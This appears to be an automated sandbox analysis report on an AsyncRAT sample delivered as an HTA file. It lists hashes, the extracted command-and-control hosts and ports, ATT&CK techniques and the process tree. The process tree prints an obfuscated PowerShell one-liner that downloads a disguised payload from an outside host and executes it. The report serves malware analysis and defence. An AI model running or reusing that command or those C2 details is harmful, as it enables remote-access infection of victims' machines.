asyncrat | dabdd1dc8f9dd5c796a50f9b09c2831073b318a0421a49af0caa153109e0488a

Analysis

max time kernel
147s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
28/10/2022, 11:49

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General

Target

GORILLA_Last.hta
Size

46KB
MD5

750984a5dbe06c1092efbfdcaa2c0e45
SHA1

7a77048b108835f4ecc15cad2ae2fc3bce2d8b10
SHA256

dabdd1dc8f9dd5c796a50f9b09c2831073b318a0421a49af0caa153109e0488a
SHA512

fc6ee1773eaae435e8f6bc639f7c85dfc72bfd694a84a8d78862863a12317f81d9d19c46b87efa85f86f67bf4541fce07b191b2730ee6a7227762c8bd0803825
SSDEEP

768:otwjF6wFIk//xGWU/NaqjN+yUv4CZgS01ZNuIDyHmPHaPbgtlNJzLa2p9bn+ImY9:WwYwFDYWsjg/48euBtP83NQsSpr47pP/

Score

10^/10

asyncrat 2022 rat

Malware Config

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

2022

clsuplementos.ddns.net:6606

clsuplementos.ddns.net:7707

clsuplementos.ddns.net:4404

clsuplementos.ddns.net:5505

clsuplementos.ddns.net:8808

clsuplementos.ddns.net:9909

handling.ddns.net:6606

handling.ddns.net:7707

handling.ddns.net:4404

handling.ddns.net:5505

handling.ddns.net:8808

handling.ddns.net:9909

corpoleve.duckdns.org:6606

corpoleve.duckdns.org:7707

corpoleve.duckdns.org:4404

corpoleve.duckdns.org:5505

corpoleve.duckdns.org:8808

corpoleve.duckdns.org:9909

corpoleve.3utilities.com:6606

corpoleve.3utilities.com:7707

Mutex

AsyncMutex_6SI8OkPnkd

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/2140-143-0x0000000000400000-0x0000000000416000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	5084	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5084 set thread context of 2140	5084	powershell.exe	90

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5084	powershell.exe
5084	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5084	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1388 wrote to memory of 5084	1388	mshta.exe	84
PID 1388 wrote to memory of 5084	1388	mshta.exe	84
PID 1388 wrote to memory of 5084	1388	mshta.exe	84
PID 5084 wrote to memory of 2140	5084	powershell.exe	90
PID 5084 wrote to memory of 2140	5084	powershell.exe	90
PID 5084 wrote to memory of 2140	5084	powershell.exe	90
PID 5084 wrote to memory of 2140	5084	powershell.exe	90
PID 5084 wrote to memory of 2140	5084	powershell.exe	90
PID 5084 wrote to memory of 2140	5084	powershell.exe	90
PID 5084 wrote to memory of 2140	5084	powershell.exe	90
PID 5084 wrote to memory of 2140	5084	powershell.exe	90

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\GORILLA_Last.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $kaoskdoaksd = [System.NET.WebRequest]::Create('https://corpolevesuplementos.com.br/2022pws/assyncpws.jpg');$ajdiasjdijasd = $kaoskdoaksd.GetResponse();$KASDJASDU = ([System.IO.StreamReader]($ajdiasjdijasd.GetResponseStream())).ReadToEnd()| .('{1}{0}'-f'EX','I')
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5084
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    PID:2140

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2140-143-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/5084-133-0x0000000002DD0000-0x0000000002E06000-memory.dmp

Filesize
216KB

Download
memory/5084-134-0x0000000005900000-0x0000000005F28000-memory.dmp

Filesize
6.2MB

Download
memory/5084-135-0x0000000005840000-0x0000000005862000-memory.dmp

Filesize
136KB

Download
memory/5084-136-0x0000000006020000-0x0000000006086000-memory.dmp

Filesize
408KB

Download
memory/5084-137-0x0000000006090000-0x00000000060F6000-memory.dmp

Filesize
408KB

Download
memory/5084-138-0x0000000006780000-0x000000000679E000-memory.dmp

Filesize
120KB

Download
memory/5084-139-0x00000000081F0000-0x000000000886A000-memory.dmp

Filesize
6.5MB

Download
memory/5084-140-0x0000000007B40000-0x0000000007B5A000-memory.dmp

Filesize
104KB

Download
memory/5084-141-0x0000000007E30000-0x0000000007ECC000-memory.dmp

Filesize
624KB

Download